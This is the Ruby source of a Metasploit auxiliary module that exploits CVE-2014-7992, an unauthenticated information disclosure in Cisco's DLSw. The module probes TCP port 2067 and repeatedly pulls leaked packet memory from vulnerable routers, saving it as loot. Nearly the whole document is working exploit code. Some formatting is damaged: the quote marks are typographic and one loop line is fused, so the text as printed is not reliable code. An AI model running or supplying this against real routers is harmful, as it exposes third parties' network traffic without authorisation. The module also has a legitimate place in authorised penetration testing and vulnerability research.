Cisco DLSw Information Disclosure Scanner

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘socket’

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize
super(
‘Name’ => ‘Cisco DLSw Information Disclosure Scanner’,
‘Description’ => %q(
This module implements the DLSw information disclosure retrieval. There
is a bug in Cisco’s DLSw implementation affecting 12.x and 15.x trains
that allows an unauthenticated remote attacker to retrieve the partial
contents of packets traversing a Cisco router with DLSw configured
and active.
),
‘Author’ => [
‘Tate Hansen’, # Vulnerability discovery
‘John McLeod’, # Vulnerability discovery
‘Kyle Rainey’ # Built lab to recreate vulnerability and help test
],
‘References’ =>
[
[‘CVE’, ‘2014-7992’],
[‘URL’, ‘https://github.com/tt5555/dlsw_exploit’]],
‘DisclosureDate’ => ‘Nov 17 2014’,
‘License’ => MSF_LICENSE
)

register_options(
[
Opt::RPORT(2067),
OptInt.new(‘LEAK_AMOUNT’, [true, ‘The number of bytes to store before shutting down.’, 1024])
])
end

def get_response(size = 72)
connect
response = sock.get_once(size)
disconnect
response
end

# Called when using check
def check_host(_ip)
print_status(“Checking for DLSw information disclosure (CVE-2014-7992)”)
response = get_response

if response.blank?
vprint_status(“No response”)
Exploit::CheckCode::Safe
elsif response[0..1] == “\x31\x48” || response[0..1] == “\x32\x48”
vprint_good(“Detected DLSw protocol”)
report_service(
host: rhost,
port: rport,
proto: ‘tcp’,
name: ‘dlsw’
)
# TODO: check that response has something that truly indicates it is vulnerable
# and not simply that it responded
unless response[18..72].scan(/\x00/).length == 54
print_good(“Vulnerable to DLSw information disclosure; leaked #{response.length} bytes”)
report_vuln(
host: rhost,
port: rport,
name: name,
refs: references,
info: “Module #{fullname} collected #{response.length} bytes”
)
Exploit::CheckCode::Vulnerable
end
else
vprint_status(“#{response.size}-byte response didn’t contain any leaked data”)
Exploit::CheckCode::Safe
end
end

# Main method
def run_host(ip)
return unless check_host(ip) == Exploit::CheckCode::Vulnerable

dlsw_data = ”
until dlsw_data.length > datastore[‘LEAK_AMOUNT’]response = get_response
dlsw_data << response[18..72] unless response.blank?
end
loot_and_report(dlsw_data)
end

def loot_and_report(dlsw_leak)
path = store_loot(
‘dlsw.packet.contents’,
‘application/octet-stream’,
rhost,
dlsw_leak,
‘DLSw_leaked_data’,
‘DLSw packet memory leak’
)
print_status(“DLSw leaked data stored in #{path}”)
end
end